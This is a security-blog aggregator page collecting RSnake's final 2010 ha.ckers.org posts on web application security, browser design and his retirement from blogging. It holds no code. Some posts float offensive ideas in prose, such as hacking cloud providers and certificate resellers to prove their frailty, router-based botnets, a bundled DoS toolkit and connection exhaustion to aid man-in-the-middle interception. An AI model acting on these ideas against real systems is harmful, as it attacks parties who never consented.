My Security Planet » Tags » Webappsec

Feeds

13170 items (0 unread) in 75 feeds

• Jeremy Zawodny's blog
• Mozilla Webdev
• Transcendental Technical Travails
• Ian Bicking: a blog
• Hackosis

WebSecurity

• Watchfire Application Security Insider
• BlogSecurity
• sirdarckcat
• Google Online Security Blog
• CGISecurity.com: Your Web Site and Application Security Resource
• Switch/Twitch
• mybeNi websecurity
• cat slave diary
• SecuriTeam Blogs
• Curiouser and Curiouser
• Alex's Corner
• Billy (BK) Rios
• Chris Shiflett
• christian's weblog
• funkatron.com
• GNUCITIZEN
• The Spanner
• hackademix.net
• Ruby on Rails Security Project
• It's a shampoo world anyway
• Web Security Blog
• ha.ckers.org web application security lab
• Yet Another Infosec Blog
• PHP Security Blog
• Security Thoughts
• Sunnet Beskerming Security Advisories
• Disenchant's Blog
• Sylvan von Stuppe
• Larholm.com
• The Turkey Curse
• Jeremiah Grossman
• Anurag Agarwal - Application Security Evangelist
• Ivan Ristic
• deep inside | security & tools
• omg.wtf.bbq.
• BlueHat Security Briefings
• Tactical Web Application Security
• .:Computer Defense:.

Security

• tssci security
• Plynt Penetration Testing Blog
• Michael Howard's Web Log
• Security Retentive
• BindShell.Net
• Dominic White's .tHE pRODUCT
• SecurityFocus News
• Justice League
• Schneier on Security
• Rational Survivability
• terminal23
• 1 Raindrop
• hiredhacker.com
• Matasano Chargen
• Security Vulnerability Research & Defense
• Michael on Security - Musings on Information Security
• Fortify blog
• The Art of Software Security Assessment
• GDS Security Blog
• Vodun.org
• Robert Penz Blog
• Mark Curphey - SecurityBuddha.com
• Liminal states
• Security Ripcord
• ModSecurity Blog
• IBM Internet Security Systems Frequency X Blog
• Suspekt...
• extern blog SensePost;
• Zero in a bit

SEO

• SEO BlackHat: Black Hat SEO Blog
• busin3ss.name

Tools

• Opensourcetesting.org News

164 items tagged "Webappsec"

ha.ckers.org web application security lab

• 

  And Beyond…

  Posted: December 1st, 2010, 4:15pm CST by RSnake

  Tags:  Webappsec   [edit]

  Here we are, my friends. The 1000th post. Whew! It’s quite a load off to have finally made it. Hopefully this doesn’t come as a surprise to anyone since I’ve been announcing it for months, and if you have questions, hopefully the FAQ can answer them. I wrote and re-wrote this post several times. There’s so much to say. How can you sum up 5 years of a blog in one post? I have so much to say, but I’m not going to write a book about why I’m shutting the blog down, I’ll just focus on the major issue at hand - happiness. Isn’t that what life’s really all about?

  It wasn’t that long ago that I unfortunately lost my love affair with security. Even a few years ago my wife would find me up way too late at night writing some little proof of concept code, excited to post about it the next day. A lot has changed. Some of it is external forces, and some of it is that I realized that I’ve done what I came here to do. When I ask audiences at conferences how many people have heard of XSS or CSRF or command injection or SQL injection, nearly everyone raises their hand. I can rest easy now in that the ultimate mission of the blog has been a success - people have been educated, partly through me, and partly because the industry at large has stepped up to the plate and done an amazing job of absorbing the problems.

  I started ha.ckers.org as a place for me to experiment on my own, and share ideas with a few like-minded folks. I never intended it to be a big site, but scope creep from the original mission changed all that. I realized I could educate a lot more people than the 20 or so readers I had started out with. 20,000 readers, countless press articles and 5 years later, and I’ve been run through the meat grinder. My love for security was unfortunately replaced by a sense of servitude.

  With any kind of work you get a sense of anxiety. But the biggest problem is that security stopped making me happy. I got into security because I enjoyed the intellectual puzzle. The industry around me has certainly changed several times since I got started but more importantly I too changed. My wife told me not too long ago that I wasn’t a hacker anymore, I was a politician, looking to see how I rated in the polls. I really didn’t like what I had become - that’s not me at all. I normally hate the press, and I’ve never enjoyed public speaking. It was always a necessary evil. An evil that I embraced far too much, if you ask me.

  They say that if you look at the graph of happiness in your life you can tell what sort of life you led. For instance, if your life starts positive, then goes down, and then ends positive it’s a comedy. If it starts low, goes up and then ends badly, well, then you lead a tragic life. I’ve never claimed to be a futurist, and in fact, I’ve found the question, “What do you think we’ll see in the future” to be a terrifying question - what if I’m completely wrong?

  I’m not an oracle and I really don’t like giving people incorrect information. But if I were to look at the graph of my life honestly, it wasn’t trending well over the last few years, looking more like downward trending saw blade of perpetual highs and lows. Although there have been a lot of individual highlights and amazing things that have happened, I’ve noticed and other friends, family, and peers have noticed that I’ve gotten less and less happy as a whole. As much as my trustworthy friends tried to convince me that the negative sentiment was meaningless, it was having a profound effect on my desire to continue. The saw blade was trending downward. I’m not blameless for how I got here - no one is perfect, least of all me.

  Although I’m a fun loving person in many ways I also tend to be a pessimist and I do take things too seriously sometimes - definitely to a fault. I saw my happiness declining and the light at the end of that tunnel was getting further and smaller as I went on. It became harder to shrug things off, and I started worrying about even the simplest of things. So instead of being a victim of my own circumstance I made a decision to make my own destiny and start enjoying life again.

  So this is it - I’m taking my happiness back and I’ll be taking on new and exciting challenges without the drama of intense public scrutiny. It’s time to make the graph of my life into a comedy - filled with excitement and wonder in the unknown. I’ll always have a soft spot for security; I’ll keep up on it, and I’ll continue to research and run my company, among a lot of other things, insofar as it doesn’t impinge on my happiness. Not hedonism, my friends, happiness. Now is the time to seize the day and start having fun again. Life’s too short.

  I could also spend pages iterating all the people who’ve helped me think through the countless issues we’ve talked about, sent in ideas and generally made this website and WebAppSec in general a success. Rather than risk excluding anyone all I can say is that I truly, deeply respect all of you for your skills and appreciate what you’ve done for me and the industry as a whole. Perhaps no one but me will truly appreciate everything you’ve done, but trust me, you’re the real gods of WebAppSec. I wish you the best. So I leave it to you all - this industry along with all the good and bad, in very capable hands. Trust me, there are plenty of amazing people out there. Now it’s time for them to take their rightful place.

  So… where can this mythical happiness monster be found, you may be asking? For me the journey to find happiness starts with a cold beer - so that’s where I’m headed. On behalf of id and myself, adios, my friends! Thank you for reading.

• 

  What’s Left?

  Posted: December 1st, 2010, 4:05pm CST by RSnake

  Tags:  Webappsec   [edit]

  2 posts left…

  As I wind down, I’ve gotten a lot of requests to talk about various things in my final posts. Everything from talking about what to study for newbies, how to keep up on WebAppSec when I’m gone, to talking about O2. But what I really want to talk about is what’s left? After having researched for 15 years and having blogged for 5, what areas do I think are left to research/write/build? There are tons of things. I’ll just type free-form for the next few minutes:

  - I think mobile browsers are Swiss cheese and they need a much more serious look. And then we need to have a fierce conversation with the mobile providers about better/faster mechanisms to do patch management.

  - I think browser port blocking blacklists are dumb and have already been broken at least three times. It’s time to do a month of inter-protocol exploitation!

  - I think browser UP&P attacks against routers are highly likely and need a lot more research.

  - I think the whole concept of replacing SSL/TLS with SSL/TLS over DNSSEC needs a ton of thought as a replacement.

  - Browser UIs need to be hammered - they all have problems.

  - Re-writing firmware in home DSL routers and making router-based botnets is under-researched.

  - A table of all the ways to leak information across domains (img tags, style tags, iframes, etc…) needs to be kept and cataloged by browser type.

  - An acid test should be built on a website somewhere so that people can test all known security problems against their browser. Then we can start a healthy competition and track how long each browser takes to close each issue.

  - Cloud providers need to be hacked to prove how frail everything is that rely on them.

  - SSL/TLS resellers need to be hacked to prove how frail PKI is when you distribute it out to the least common denominator.

  - Alternate encoding issues are still barely understood and very poorly documented.

  - Someone needs to build a ubiquitous DoS (not DDoS) package that includes every known DoS tool and throw it into MetaSploit, so companies start having to test against it and start pressuring the vendors to fix the issues.

  … and that’s just what I could type out in a few minutes. Look, anyone who says there’s nothing left to research isn’t thinking creatively. There’s an absolutely amazing amount of issues out there left to research, and projects to make the industry move faster. One problem I wish the industry would get away from is saying something isn’t new or isn’t interesting. If it’s not new but it’s still broken, there’s a problem there (Firesheep is a great example). If you’re interested in it, don’t let other people tell you it’s not interesting. Go ahead and research it! So what’s left? Everything’s left, my friends! The world is yours! You have the power to make amazing things happen if you so choose. It’s just a matter of deciding what kind of world you want to live in.

• 

  Mod_Security and Slowloris

  Posted: December 1st, 2010, 2:29pm CST by RSnake

  Tags:  Webappsec   [edit]

  3 posts left…

  After all the press around Wong Onn Chee and Tom Brennan’s version of a HTTP DoS attack, I think people started taking HTTP DoS a tad more seriously. Yes, there are lots of variants of HTTP based DoS attack, and I’m sure more tools will surface over time. The really interesting part is how both Apache and IIS has disagreed that it is their problem to fix. So we are left to fend for ourselves. Enter mod_security (at least for Apache).

  When I originally tested Slowloris against mod_security, it had no chance of solving the problem. I spoke with Ivan Ristic who said that it simply ran too late (same thing with .htaccess, and many other things built into Apache). So the world was at a bit of a loss when the DoS originally came out. Now with the latest changes in mod_security at least we now have a viable (non experimental) solution other than using alternate webservers, load balancers or networking solutions. Very cool stuff!

• 

  FireSheep

  Posted: November 15th, 2010, 1:13pm CST by RSnake

  Tags:  Webappsec   [edit]

  7 posts left…

  I go back and forth on whether I think FireSheep is interesting or not. Clearly, it’s old technology re-hashed. But it is interesting not because it works, but that it surprises people that it works. We’ve been talking about these problems forever, and now companies are scrambling to protect themselves. I guess the threat isn’t real until every newbie on earth has access to the hacking tools to exploit it.

  One of the more interesting analysis pages I’ve seen was one which had a scorecard. At first blush it’s fairly obvious but one thing stuck out at me regarding the last part of the scorecard, where they assigned scores to each of the various protocols like POP3 fails but POP3 over SSL/TLS gets an A. The interesting thing is that there isn’t an equivalent score for HTTP vs HTTPS. This all goes back to the 24 vulnerabilities Josh and I talked about in the browser implementation of SSL/TLS in the browser.

  Just because something is speaking HTTPS some of the time doesn’t even mean that session alone is secure in a multi-tabbed environment, or with certain plugins, or certain settings or with certain settings within cookies, etc… It’s just not that straight forward. Wouldn’t it be nice if we had something that did act in a safe and sane way that allowed you to contact a site securely? Maybe something that was a secured transport layer (no, not TLS, I mean something actually secure). Maybe it’s something we can add on top of SSL/TLS over DNSSEC while we’re in the browser security world are still in the mood to shake things up.

• 

  Detecting Malice With ModSecurity

  Posted: October 28th, 2010, 1:54pm CDT by RSnake

  Tags:  Webappsec   [edit]

  8 posts remaining…

  Ryan Barnett has a new series he’s doing called Detecting Malice with ModSecurity that I wanted to spend a minute talking about. Firstly, it’s personally interesting, because he’s using the book and slicing and dicing a lot of the core ideas and figuring out how to implement them. But secondly, I like practical examples of solutions to concepts that may seem to be unattainable or a technological hurdle at times. One of the reasons I didn’t spend any time talking about solutions was because so many people have varying platforms. That’s one of the nice things about the Internet but it’s also one of the problems. It seems like attacks are easier to talk about because nearly everyone is vulnerable to them. But defense is much harder, because it is always very site specific.

  Anyway, it’s a great series and I recommend it, even after just the first post - not just because it’s talking about the book, but also because he really does a really nice job of giving thorough examples. I hope some people get some value out of it. Even if you use IIS, ideas like this get the creative juices flowing. Sometimes it’s tough being a security guy, so any little bit helps.

• 

  Performance Primitives

  Posted: October 20th, 2010, 4:36pm CDT by RSnake

  Tags:  Webappsec   [edit]

  11 more posts left…

  While I was out at Bluehat I ended up having some good meetings between Intel, Mozilla and Adobe. How are these companies related, you may ask? Well all of them care about performance. A year or so ago I was hanging out with the Intel guys and they informed me that they have a series of low level performance primitives that they surface through APIs. At the time I wasn’t quite sure what to make of it. Security and performance aren’t natural bedfellows - or at least I didn’t think so at the time.

  I got to talking with both Microsoft and Mozilla last week about the need for default Adblocking software built into the browser. Jeremiah thinks it should be opt-out and I think it should be opt-in, but either way, I think we’re coming to a consensus that it should be automatically part of the browser in some form. Mozilla was the first to give me a real reason it may be a problem other than it hurting Google, who is their biggest sponsor. The reason is performance. Adblockplus, as an example uses partial string regex which is a performance hog. To put that in the browser by default would really make people’s experience suffer. Then it occurred to me that I had had a conversation about performance with Intel a year before. The answer, my friends, lies in primitives.

  Currently Intel supports a subset of basic math functions and Perl’s version of regex. Well, in a future version the chips could support things like the JavaScript version of regex, and other primitives involved in decision making and image/vector rendering and so on that are used within the browser. Adobe is in the same boat - although probably a different subset of primitives would be desirable. Then the idea sprang up to use these primitives within Visual Studio itself to get more generic/native improvements to performance without developers having to know anything about the chip. Intel doesn’t tend to market these concepts very well, despite how interesting they could be, but only a few people have to know to make a big difference.

  So now the real question isn’t whether these companies will pick up on this technology now that they know about it - that’s a given. The real question then is once they get a performance boost are they going to use some of it to improve security or are they just going to tout themselves as the fastest? At some point we have to stop and ask ourselves how fast do we really have to get before we start using some of that processing power to make people safer instead? One can only hope…

• 

  Least Common Denominator

  Posted: October 20th, 2010, 3:03pm CDT by RSnake

  Tags:  Webappsec   [edit]

  10 posts left…

  While at Bluehat Jeremiah got a question from someone (I believe he worked at Opera) saying that even something as simple as turning off third party cookies will break things like Yandex. Jer had an amusing response which was, “What’s that?” followed by, “So you’re telling me I need to be less secure because someone else wants to go to a site that I’ve never heard of?” I was laughing too hard to hear whether the guy had a useful retort or not. But I doubt the guy in the audience was prepared for this argument. Now some people would argue that no, it’s your own responsibility to secure your browser as much as you need it to be. It’s always been my take that if you let people have something insecure it’s never going to get any more secure than it is that day (for the vast majority of users), because of the least common denominator and the fact that the web developers are going to use as much of that functionality as they can - forcing me to use JavaScript to log into my bank and such.

  Normal users want a subset of what the browser is capable of, but even more usability than what a browser comes with by default. If they can tie their browser in with Twitter, make it auto-log-in to every account they have and pipe in music from iTunes all at once, that’s a good day. While security people for the most part want a different subset of the browser, and want very few of the usability improvements that browsers are adding in. Unfortunately, we are also stuck with whatever everyone else wants, because we do have to use the same sites. And the worst part is the browsers weren’t designed with guys like Jeremiah in mind - they were designed with thoughts of people who had never used a computer before. As such the browsers are building on legacy software that needs to support other legacy software atop a very flexible architecture making it harder and harder to be secure over time.

  As such, yes, Jeremiah is absolutely forced to have a less secure browsing experience because of Yandex and the 1000x other edge cases that we have been unable to break for fear of backlash. This includes breaking requests to localhost because of Google Desktop. This includes breaking cross zone RFC1918 requests because of legacy banking apps. All kinds of dumb things that should have never been built like that are causing us to be less secure, and until we’re willing to break the web (like with the CSS History hack fix that Mozilla championed) we’re going to be stuck with the least common denominator problem. I wish I had the answer, but I don’t.

• 

  Performance Primatives

  Posted: October 20th, 2010, 2:33pm CDT by RSnake

  Tags:  Webappsec   [edit]

  11 more posts left…

  While I was out at Bluehat I ended up having some good meetings between Intel, Mozilla and Adobe. How are these companies related, you may ask? Well all of them care about performance. A year or so ago I was hanging out with the Intel guys and they informed me that they have a series of low level performance primitives that they surface through APIs. At the time I wasn’t quite sure what to make of it. Security and performance aren’t natural bedfellows - or at least I didn’t think so at the time.

  I got to talking with both Microsoft and Mozilla last week about the need for default Adblocking software built into the browser. Jeremiah thinks it should be opt-out and I think it should be opt-in, but either way, I think we’re coming to a consensus that it should be automatically part of the browser in some form. Mozilla was the first to give me a real reason it may be a problem other than it hurting Google, who is their biggest sponsor. The reason is performance. Adblockplus, as an example uses partial string regex which is a performance hog. To put that in the browser by default would really make people’s experience suffer. Then it occurred to me that I had had a conversation about performance with Intel a year before. The answer, my friends, lies in primitives.

  Currently Intel supports a subset of basic math functions and Perl’s version of regex. Well, in a future version the chips could support things like the JavaScript version of regex, and other primitives involved in decision making and image/vector rendering and so on that are used within the browser. Adobe is in the same boat - although probably a different subset of primitives would be desirable. Then the idea sprang up to use these primitives within Visual Studio itself to get more generic/native improvements to performance without developers having to know anything about the chip. Intel doesn’t tend to market these concepts very well, despite how interesting they could be, but only a few people have to know to make a big difference.

  So now the real question isn’t whether these companies will pick up on this technology now that they know about it - that’s a given. The real question then is once they get a performance boost are they going to use some of it to improve security or are they just going to tout themselves as the fastest? At some point we have to stop and ask ourselves how fast do we really have to get before we start using some of that processing power to make people safer instead? One can only hope…

• 

  Odds, Disclosure, Etc…

  Posted: September 14th, 2010, 10:15am CDT by RSnake

  Tags:  Webappsec   [edit]

  12 posts left…

  While doing some research I happened across an old post of mine that I had totally forgotten about. It was an old post about betting on the chances of compromise. Specifically I was asked to give odds against whether I thought Google or ha.ckers.org would survive a penetration test (ultimately leading to disclosure of data). Given that both Google and ha.ckers.org are under constant attack, it stands to reason that sitting in the ecosystem is virtually the equivalent of a penetration test every day. I wasn’t counting things like little bugs that are disclosed in our sites, I was specifically counting only data compromise.

  There are a few interesting things about this post, looking back 4 years. The first thing is that pretty much everything I predicted came true in regards to Google:

  … their corporate intranet is strewn with varying operating systems, with outdated versions of varying browsers. Ouch. Allowing access from the intranet out to the Internet is a recipe for disaster …

  So yes, this is damned near how Google was compromised. However, there’s one very important thing, if I want to be completely honest, that I didn’t understand back then. I gave Google a 1:300 (against) odds on being hacked before ha.ckers.org would be. While I was right, in hindsight, I’d have to change my odds. I should have given it more like 1:30. The important part that I missed was the disclosure piece. Any rational person would assume that Google has had infections before (as has any large corporation that doesn’t retain tight controls over their environment). That’s nothing new - and not what I was talking about anyway. I was talking only about publicly known disclosures of data compromise.

  So the part that I didn’t talk to, and the part that is the most interesting is that Google actually disclosed the hack. Now if we were to go back in time and you were to tell me that Google would get hacked into and then disclose that information voluntarily, I would have called BS. Now the cynics might say that Google had no choice - that too many people already knew, and it was either tell the world or have someone out you in a messy way. But that’s irrelevant. I still wouldn’t have predicted it.

  So that brings me to the point of the post (as you can hopefully see, this is not a Google bashing post or an I told you so post). I went to Data Loss DB the other day and I noticed an interesting downward trend over the last two years. It could be due to a lot of things. Maybe people are losing their laptops less or maybe hackers have decided to slow down all that hacking they were doing. No, I suspect it’s because in the dawn of social networking and collective thinking, companies fear disclosure more than ever before. They don’t want to have a social uprising against them when people find out their information has been copied off. Since I have no data to back it up, I have a question for all the people who are involved in disclosing or recovering from security events. How many compromises of data security, that you are aware of, have been disclosed to the public as a percentage? You don’t have to post under your own name - I just want to get some idea of what other people are seeing.

  If my intuition is correct, this points to the same or more breaches than ever before, but less and less public scrutiny and awareness of what happened to the public’s information. Perhaps this points to a lack of good whistle-blower laws against failing to disclose compromises (and monetary incentives for good Samaritans to do so). Or perhaps this points to a more scary reality where the bad-guys have all the compromised machines and data that they need for the moment. Either way, it’s a very interesting downward trend in the public stats that seems incongruent to what I hear when I talk to people. Is the industry really seeing less successful attacks than a few years ago?

• 

  Bear In Woods Or Prairie Dog Ecosystem

  Posted: September 9th, 2010, 9:29am CDT by RSnake

  Tags:  Webappsec   [edit]

  13 posts left…

  The post I did a few days ago apparently resonated with a lot of people. So I decided to do a quick follow up. If a true ecosystem is not like two guys being chased by a bear in the woods, what is it like? I think the closest real life analogy I can come up with is the humble prairie dog. This is not a hero most people want to liken themselves to, typically. It’s more vermin than role model. But one thing is undeniable - they are a tremendously successful species that have next to no defense mechanisms. So how do they succeed when the fox is on the hunt?

  Before I answer that, it’s important to know that prairie dogs aren’t exactly the most friendly beasts to other prey animals that compete for food - like rabbits or ground squirrels and so on. So those animals are not welcome in the prairie dog’s holes in times of plenty. Much in the same way executives are territorial about their intellectual property. But once a real predator, like a fox or a hawk is spotted everything changes. Now the prairie dog will let any prey animals into their holes that can fit, regardless of the fact they may be in competition normally. Now the prairie dog is strong enough to shove out many of those smaller creatures that seek refuge and let them get eaten, thereby removing one competitor, but they don’t and here’s why.

  Predators need food to survive (think of a predator as a hacker that profits off of cyber crime in this analogy). If the prairie dog shoves their competitors out to be eaten, now the predator has been sustained. Every time the predator eats they gain enough strength to hunt again and possibly even produce offspring. This works completely contrary to the prairie dog’s goals. No, evolutionarily, the humble prairie dog, who has the biggest hole around, has learned that it’s better to save your competitors to starve your attacker. Starving the predator so they move on or die works much better over the long haul.

  The last thing the prairie dog wants is more hawks around, even if that means the prairie dog would be in less competition for food from the other prey animals. Of course, I don’t expect executives to be as smart a rodent right off the bat. But maybe they don’t have to - maybe evolutionary forces are at work even as we speak - and those who fail to cooperate are being eaten. Meanwhile the attacker community grows to whatever the prey companies will support (monetarily or in terms of intellectual property or whatever currency the attacker trades in). There will always be predators in the wild, but the numbers can be limited when the prey work together.

• 

  Cookie Expiration

  Posted: September 9th, 2010, 1:20am CDT by RSnake

  Tags:  Webappsec   [edit]

  14 posts left…

  Day 1 at the OWASP conference in Irvine. Lots of good people here, and tons of good conversations. Talking with Jeremiah from Whitehat and Sid Stamm from Mozilla reminded me that I wanted to talk about cookie expiration. I’m only talking for myself here, and not the average user - but I really dislike the concept of persistent cookies. If I wanted something to persist, I wouldn’t use sandboxes, and violently and regularly clean my cookies by hand. Yet still - cookies persist way too long. Realistically there’s two types of attacks that involve the persistence of cookies. The first is a drive by opportunistic exploit - let’s say you’re on a porn site and it forces your browser to visit MySpace or Facebook and because you’re probably logged in, boom, your compromised via CSRF or clickjacking or whatever. The second is where the attacker knows you’re logged in because they’re attacking you through the very platform that they intend to compromise (likejacking is a good example).

  Although we can’t do much about the second case, the first case it comes down to cookie expiration in large part. Why should a browser hold onto a cookie just because the site told it to? If I’m not actively sending requests to the site in question there’s a good chance I don’t want my browser to send cookies after X amount of time. In my case, X is probably an hour or two max (considering I take lunches). Maybe some people would argue that they don’t want to be hassled by typing their webmail password in more than once per day. Okay, fine, but the point is the magic number probably isn’t once every two weeks, or once a month or once every 20 years, for most security people (I’d hope). So perhaps we need to consider a default mechanism for timing cookies out when they’re not actively being sent to the server, regardless of what the server wants. Incidentally, Sid thinks this would make a good addon. Takers?

• 

  The Effect of Snakeoil Security

  Posted: September 4th, 2010, 12:53pm CDT by RSnake

  Tags:  Webappsec   [edit]

  15 posts left…

  I’ve talked about this a few times over the years during various presentations but I wanted to document it here as well. It’s a concept that I’ve been wrestling with for 7+ years and I don’t think I’ve made any headway in convincing anyone, beyond a few head nods. Bad security isn’t just bad because it allows you to be exploited. It’s also a long term cost center. But more interestingly, even the most worthless security tools can be proven to “work” if you look at the numbers. Here’s how.

  Let’s say hypothetically that you have only two banks in the entire world: banka.com and bankb.com. Let’s say Snakoil salesman goes up to banka.com and convinces banka.com to try their product. Banka.com is thinking that they are seeing increased fraud (as is the whole industry), and they’re willing to try anything for a few months. Worst case they can always get rid of it if it doesn’t do anything. So they implement Snakeoil into their site. The bad guy takes one look at the Snakeoil and shrugs. Is it worth bothering to figure out how banka.com security works and potentially having to modify their code? Nah, why not just focus on bankb.com double up the fraud, and continue doing the exact same thing they were doing before?

  Suddenly banka.com is free of fraud. Snakeoil works, they find! They happily let the Snakeoil salesman use them as a use case. So our Snakeoil salesman goes across the street to bankb.com. Bankb.com has seen a two fold increase in fraud over the last few months (all of banka.com’s fraud plus their own), strangely and they’re desperate to do something about it. Snakeoil salesman is happy to show them how much banka.com has decreased their fraud just by buying their shoddy product. Bankb.com is desperate so they say fine and hand over the cash.

  Suddenly the bad guy is presented with a problem. He’s got to find a way around this whole Snakeoil software or he’ll be out of business. So he invests a few hours, finds an easy way around it and voila. Back in business. So the bad guy again diversifies his fraud across both banks again. Banka.com sees an increase in fraud back to the old days, which can’t be correlated to anything having to do with the Snakeoil product. Bankb.com sees their fraud drop immediately after having installed the Snakeoil therefore proving that it works twice if you just look at the numbers.

  Meanwhile what has happened? Are the users safer? No, and in fact, in some cases it may even make the users less safe (incidentally, we did manage finally stop AcuTrust as the company is completely gone now). Has this stopped the attacker? Only long enough to work around it. What’s the net effect? The two banks are now spending money on a product that does nothing but they are now convinced that it is saving them from huge amounts of fraud. They have the numbers to back it up - although the numbers are only half the story. Now there’s less money to spend on real security measures. Of course, if you look at it from either bank’s perspective the product did save them and they’ll vehemently disagree that the product doesn’t work, but it also created the problem that it solved in the case of bankb.com (double the fraud).

  This goes back to the bear in the woods analogy that I personally hate. The story goes that you don’t have to run faster than the bear, you just have to run faster than the guy next to you. While that’s a funny story, that only works if there are two people and you only encounter one bear. In a true ecosystem you have many many people in the same business, and you have many attackers. If you leave your competitor(s) out to dry that may seem good for you in the short term, but in reality you’re feeding your attacker(s). Ultimately you are allowing the attacker ecosystem to thrive by not reducing the total amount of fraud globally. Yes, this means if you really care about fixing your own problem you have to help your competitors. Think about the bear analogy again. If you feed the guy next to you to the bear, now the bear is satiated. That’s great for a while, and you’re safe. But when the bear is hungry again, guess who he’s going after? You’re much better off working together to kill or scare off the bear in that analogy.

  Of course if you’re a short-timer CSO who just wants to have a quick win, guess which option you’ll be going for? Jeremiah had a good insight about why better security is rarely implemented and/or sweeping security changes are rare inside big companies. CSOs are typically only around for a few years. They want to go in, make a big win, and get out before anything big breaks or they get hacked into. After a few years they can no longer blame their predecessor either. They have no incentive to make things right, or go for huge wins. Those wins come with too much risk, and they don’t want their name attached to a fiasco. No, they’re better off doing little to nothing, with a few minor wins that they can put on their resume. It’s a little disheartening, but you can probably tell which CSOs are which by how long they’ve stayed put and by the scale of what they’ve accomplished.

• 

  Browser Detection Autopwn, etc…

  Posted: September 4th, 2010, 10:53am CDT by RSnake

  Tags:  Webappsec   [edit]

  16 posts left…

  I often find myself thinking about egyp7’s DefCon speech last year. He was talking about browser autopwn, which was a relatively new concept at that time being built into Metasploit. Pretty cool technology, and with only one minor mishap he was able to demonstrate it on stage with impressive results. That’s all well and fine, and you should check it out, but one thing stuck out from the presentation more than the technology itself.

  By doing variable detection he could find out everything down to the individual patch level of the device in most cases. Of course a bad guy can mess with these variables and lie, which egyp7 admitted to. But, wisely he said something to the effect that if you find a browser that is lying about it’s user agent, you probably have found yourself a browser hacker, and you don’t want to try to be owning his browser anyway. Once you find yourself in this condition, bail. The idea mirrors a lot of the type of stuff I wrote about in Detecting Malice. By identifying the signature of browsers and how people navigate sites you can know a lot about your potential adversary. Either for good or, in the case of autopwn, evil. Growing this signature database over time could be very useful as attention on browser exploitation increases and the need for understanding user traffic and intent grows.

• 

  The Perils of Speeding up the Browser

  Posted: September 3rd, 2010, 12:41pm CDT by RSnake

  Tags:  Webappsec   [edit]

  17 posts left until the end…

  A year or so ago I went to go visit the Intel guys at their internal conference that they throw (similar to Microsoft’s Bluehat). I honestly had no idea what to tell a bunch of hardware guys. What correlation does chip manufacturing really have with browsers or webapps. Well virtualization and malware certainly, but what else? It got me thinking… one of the things they are in direct control over is how fast operating systems (and subsequently browsers) work. I talked it over with id before going out there. Faster is better right?

  I’ve got mixed feelings about fast vs slow browsers. When something is slow, you can actually detect that something strange is going on. It’s also easier to stop it from mis-behaving if an attack takes a while. When it’s fast, it’s much harder to notice that your computer had to chug for a while to do something complex and much less likely that a user can intervene. There have been a number of exploits out there that have really been proof of concept only. They’re deemed not practical because they take too long, or hang the browser temporarily while they’re being executed. If the speed barrier is removed, then suddenly those old proof of concepts (think res:// timing attacks and so on) are actually much easier to perform. So while I think innovation and performance improvement is a good thing overall, it does come with some unintended consequences.

• 

  Browser Differences, Minutia Et Al…

  Posted: September 3rd, 2010, 11:27am CDT by RSnake

  Tags:  Webappsec   [edit]

  18 posts left…

  I got an email last night from someone asking me to do a breakdown of which browser is better, Internet Explorer, Firefox, Opera, Safari and Chrome. First of all, there’s already a pretty good reference that Michal Zalewski put together. Like anything this comprehensive, since it’s not been edited for about half a year it’s already out of date in a few ways, but it’s a great place to get started for those who want to get familiar with the internal differences between various browsers. No need to re-invent the wheel, go read it. Now, that’s the purely technical side, but there is one thing that’s wildly missing from most documents that talk about browser security.

  Browser security often turns into a religious war amongst technologists, instead of thinking about it pragmatically. What are the real motives of the companies that are developing the browsers? In most cases they care primarily about market share because market share makes them money (through search engine agreements, and so on). So now you have to think about yourself and your needs. What kind of user are you? I tend to be a very security conscious person, and if you’re reading this you probably are too. I’m willing to severely degrade my usability for an increase in security, whereas most users are not. So the browser I will tend towards is one that offers me the flexibility to make those decisions for myself while still giving me enough usability to be able to do anything I need to do, when I decide to. This is why Firefox has been my personal browser of choice for years - but don’t be confused and think it’s because I think Firefox is more secure out of the box. Firefox has just as many flaws as other browsers, by default.

  While security people’s needs are important, if you look at the number of people who are security folks compared to the rest of the world, we are insignificant as a percentage. That means that it is not in the browser company’s interest to focus on appeasing security people. Sure, it’s nice to have a browser that is secure, but that’s not ever going to drive the volume of users necessary to make the real revenue for their organizations - or at least that’s what the market seems to be proving. Plus most of the major browsers above tout themselves as being more secure than their competitors - so normal consumers don’t know who to believe. As such, while I think all the major browsers mentioned above have their pros and cons, none of them are designed with security first. They’re designed for a different set of users in mind (which includes security people, but it also includes our grandmas, and tweens and cousin Cletus), and that puts browser design choices somewhat at odds with security, because what does Cletus care or know about security? So that’s where plugins, addons, sandboxes, VMs, etc… come into play. It’s like wearing a condom around your browser, if you like. It gives us the ability to use the same underlying product while still protecting ourselves as much as possible.

  I honestly think most browsers can be made to be very secure, if you’re willing to sacrifice all usability - not completely secure, no doubt, but far more secure than any of the major browsers above ship by default. So, it’s a little hard for me to play favorites. They each have their own security mess to clean up, so currently there is no good solution, and I don’t recommend any browsers to anyone (although you people still on IE6 really should upgrade already). The work involved in really securing your browser simply isn’t worth explaining to most people. In fact, “which browser do you use” is my least favorite question, because it’s not as simple as a single word. Boutique browsers, while interesting, don’t often have the support behind them to make them useful for a lot of the more common applications (lacking vast plugin support, etc…) although of anyone, they actually could align themselves nicely with the needs of security people. So, while I think browser security is often about minutia, we need to fully grasp the market forces at work before getting completely fed up by a constant string of functionality that only makes it less secure, instead of expecting dramatic security improvements. Or we need to pick something more obscure and assume the risks involved with a product that is not tried and true. It’s not an easy problem for us or the browser companies - I don’t envy their situation.

• 

  Throttling Traffic Using CSS + Chunked Encoding

  Posted: September 1st, 2010, 9:17pm CDT by RSnake

  Tags:  Webappsec   [edit]

  19 posts left…

  So Pyloris doesn’t work particularly well for port exhaustion on the server, but what if we can exhaust the connections on the client to better meter out traffic? That would make it easier for a MITM to see each individual request if it worked. So I started down a rather complicated path of using a mess load of link tags on an HTTP website trying to affect the connections on the HTTPS version of the same domain. No joy. It turns out that the limits placed on one port don’t affect what happens on another (at least in Firefox). So while I can exhaust all the connections to a domain over a single port I can’t do anything using HTTPS - or so it seemed (unless I was willing to muddy the water further by sending a bunch of requests that I knew are a certain size to the HTTPS site - which just seemed more painful than helpful).

  Then, based on some earlier research I stormed into id’s office and I started bitching that there was no point in trying to stop port exhaustion if they were going to allow tons of connections, just over multiple sockets anyway. As the words came out of my mouth I realized I had come up with the answer - a ton of webservers. I guessed that there must be some upper bound of outbound connections and it’s probably at or less than 130. You should have seen id’s face as I asked him to set up 130 connections / 6 connections per socket = 22 web-servers for me. Hahah… I thought he’d kill me.

